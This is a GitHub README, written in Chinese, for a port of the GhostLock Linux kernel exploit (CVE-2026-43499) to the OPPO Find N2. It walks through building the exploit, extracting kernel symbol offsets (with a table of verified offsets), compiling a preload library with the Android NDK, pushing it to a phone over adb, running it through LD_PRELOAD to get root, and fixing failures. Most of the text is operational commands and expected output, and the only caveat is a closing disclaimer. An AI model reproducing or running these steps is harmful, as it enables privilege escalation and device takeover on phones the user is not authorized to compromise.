Skip to content
 
 

Repository files navigation

OPPO Find N2 GhostLock (CVE-2026-43499) Exploit

基于 NebuSec CyberMeowfia 项目的 GhostLock 内核漏洞利用,适配 OPPO Find N2 (SM8475) 设备。

漏洞概述

GhostLock (CVE-2026-43499) 是一个存在于 Linux 内核 rt_mutex 子系统中的栈 UAF 漏洞,自 2011 年 Linux 2.6.39 引入,影响所有主流 Linux 发行版超过 15 年。

  • 漏洞类型: 栈 Use-After-Free
  • 影响范围: 所有启用 CONFIG_FUTEX_PI=y 的 Linux 内核
  • 利用效果: 非特权本地用户提权至 root + 容器逃逸
  • Google 奖励: $92,337 (kernelCTF)
  • 原始研究: NebuSec IonStack Part II

设备信息

项目
型号 OPPO PGU110 (Find N2)
芯片 Snapdragon 8+ Gen 1 (SM8475)
内核 Linux 5.10.236-android12-9 GKI
Android 16
Build PGU110_16.0.5.1001(CN01)

文件结构

oppo-ghostlock/
├── README.md                           # 本文件
├── DEBUG_GUIDE.md                      # 调试指南
├── commands.txt                        # 快速命令参考
├── GhostLock_完整指南.txt                # 完整使用指南
├── extract-vmlinux                     # 内核源码自带的 vmlinux 提取工具
├── CyberMeowfia-main/                  # 原始 exploit 代码
│   └── IonStack/CVE-2026-43499/
│       ├── exploit/
│       │   ├── Makefile                # 编译脚本
│       │   └── src/
│       │       ├── main.c              # 主入口
│       │       ├── util.c              # 工具函数
│       │       ├── slide.c             # KASLR 绕过
│       │       ├── fops.c              # 文件操作伪造
│       │       ├── pipe.c              # 管道利用
│       │       ├── root.c              # 提权逻辑
│       │       ├── preload.c           # LD_PRELOAD 入口
│       │       └── targets/
│       │           └── oppo-find_n2/
│       │               └── target.h    # ★ OPPO Find N2 偏移配置
│       └── poc/                        # PoC 代码
├── kernel_extracted/                   # 从内核源码提取的关键文件
│   ├── ashmem.c, ashmem.h
│   ├── pipe.c, pipe_fs_i.h
│   ├── configfs.h, file.c
│   ├── splice.c, seq_file.c
│   ├── nf_log.h, security.h
│   ├── cred.h, sched.h, slab.h
│   └── ... (共18个文件)
└── oppo-ghostlock-upload/              # GitHub 上传目录

快速开始

1. 安装编译工具

sudo apt install -y gcc-11 make flex bison libssl-dev bc libelf-dev \
    dwarves aarch64-linux-gnu-gcc

2. 获取 vmlinux (带符号的内核)

方法 A: 从内核源码编译 (推荐)

cd kernel_src/android_kernel_oppo_sm8475-oppo-sm8475_b_16.0.0_find_n2
export ARCH=arm64 CC=gcc-11 CROSS_COMPILE=aarch64-linux-gnu-
make gki_defconfig
make vmlinux -j$(nproc)

方法 B: 用 extract-vmlinux 从 boot.img 提取

chmod +x extract-vmlinux
./extract-vmlinux /path/to/boot.img > vmlinux

3. 提取精确偏移

# 用 pahole 提取结构体偏移
pahole -s task_struct vmlinux > task_offsets.txt
pahole -s cred vmlinux > cred_offsets.txt
pahole -s rt_mutex_waiter vmlinux > waiter_offsets.txt

# 用 nm 提取符号地址
aarch64-linux-gnu-nm vmlinux | grep -E \
  "init_task$|root_task_group$|ashmem_fops$|ashmem_ioctl$|\
   configfs_read_file$|noop_llseek$|generic_file_splice_read$|\
   nfulnl_logger$|sysctl_bootid$|selinux_state$|\
   security_hook_heads$|kmalloc_caches$|anon_pipe_buf_ops$" \
  > symbols.txt

4. 更新 target.h

symbols.txt 读取地址,减去 KIMAGE_TEXT_BASE (0xffffffc080000000) 得到偏移:

symbols.txt: ffffffc00a7cc000 T init_task
target.h:    #define INIT_TASK_OFF 0x027cbe20ULL

5. 编译 exploit

cd CyberMeowfia-main/IonStack/CVE-2026-43499/exploit

NDK=~/android-ndk-cache/android-ndk-r27d
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang-18 \
  --target=aarch64-linux-android35 \
  --sysroot=$NDK/toolchains/llvm/prebuilt/linux-x86_64/sysroot \
  -O2 -fPIC -shared \
  -DTARGET_CONFIG_H=\"targets/oppo-find_n2/target.h\" \
  src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
  src/root.c src/preload.c src/su_blob.S src/wallpaper_blob.S \
  -pthread -o build/oppo-find_n2/bin/preload.so

6. 推送到手机并运行

# 检查设备连接
./platform-tools/adb devices

# 推送 exploit
./platform-tools/adb push build/oppo-find_n2/bin/preload.so /data/local/tmp/

# 运行 exploit (通过 LD_PRELOAD 注入)
./platform-tools/adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/id"

7. 验证结果

正常输出:

[+] startup context pid=XXXX uid=2000 euid=2000
[+] slide-kaslr-ok pid=XXXX base=XXXXXXXXXXXXXXXX
[+] pipe-physrw-summary pid=XXXX root=1

如果看到 root=1,说明 exploit 成功获取了 root 权限。

已验证偏移 (OPPO Find N2)

以下偏移已通过 boot.img 二进制 + vmlinux-to-elf nm 精确验证:

符号 偏移 验证方式
INIT_TASK_OFF 0x027cbf60 ✓ pid=0, tgid=0, comm="swapper"
ASHMEM_IOCTL_OFF 0x011ee730 ✓ nm + 二进制验证
ASHMEM_MMAP_OFF 0x011ef2a0 ✓ nm
ASHMEM_OPEN_OFF 0x011ef4e0 ✓ nm
ASHMEM_RELEASE_OFF 0x011ef580 ✓ nm
ASHMEM_SHOW_FDINFO_OFF 0x011ef6a4 ✓ nm
NOOP_LLSEEK_OFF 0x0056cec8 ✓ nm
CONFIGFS_READ_FILE_OFF 0x006b046c ✓ nm
GENERIC_FILE_SPLICE_READ_OFF 0x005e6b28 ✓ nm

需要 pahole 验证的偏移

以下偏移需要通过 pahole -s <struct> vmlinux 验证:

  • ROOT_TASK_GROUP_OFF - root_task_group 地址
  • SELINUX_STATE_OFF - selinux_state 地址
  • SECURITY_HOOK_HEADS_OFF - security_hook_heads 地址
  • KMALLOC_CACHES_OFF - kmalloc_caches 地址
  • ANON_PIPE_BUF_OPS_OFF - anon_pipe_buf_ops 地址
  • SLIDE_NFULNL_LOGGER_OFF - nfulnl_logger 地址
  • SLIDE_RANDOM_BOOT_ID_DATA_OFF - random_boot_id 数据地址

调试排错

手机重启/崩溃

原因: target.h 中的偏移不正确 解决: 重新用 pahole/nm 提取偏移,确保所有值正确

exploit 卡住不动

原因: 竞态条件失败 解决: 多次尝试运行 exploit

Permission denied

解决: adb shell chmod 755 /data/local/tmp/preload.so

编译错误: asm_volatile_goto

解决: 编辑 include/linux/compiler-gcc.h:

// 原始
#define asm_volatile_goto(x...) do { asm goto(x); asm (""); } while (0)
// 修改为
#define asm_volatile_goto(x...) asm goto(x)

编译错误: early_param

解决: 在 arch/arm64/mm/init.c 中注释掉:

// early_param("disable_dma32", early_disable_dma32);
// early_param("mem", early_mem);

内核源码参考

kernel_extracted/ 目录包含从 OPPO 内核源码中提取的关键文件,用于理解 exploit 的工作原理:

文件 用途
ashmem.c/h ashmem 设备驱动,提供 file_operations
pipe.c 管道缓冲区操作
configfs.h configfs 文件系统接口
splice.c splice 系统调用实现
security.h SELinux 安全状态结构
cred.h 进程凭证结构
sched.h 调度器和 task_struct
slab.h 内存分配器
nf_log.h netfilter 日志
seq_file.c 序列文件接口

致谢

免责声明

本项目仅供安全研究和教育目的。使用本工具造成的任何后果由使用者自行承担。请在授权范围内进行安全测试。

License

Apache License 2.0

About

OPPO Find N2 GhostLock (CVE-2026-43499) exploit adaptation

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages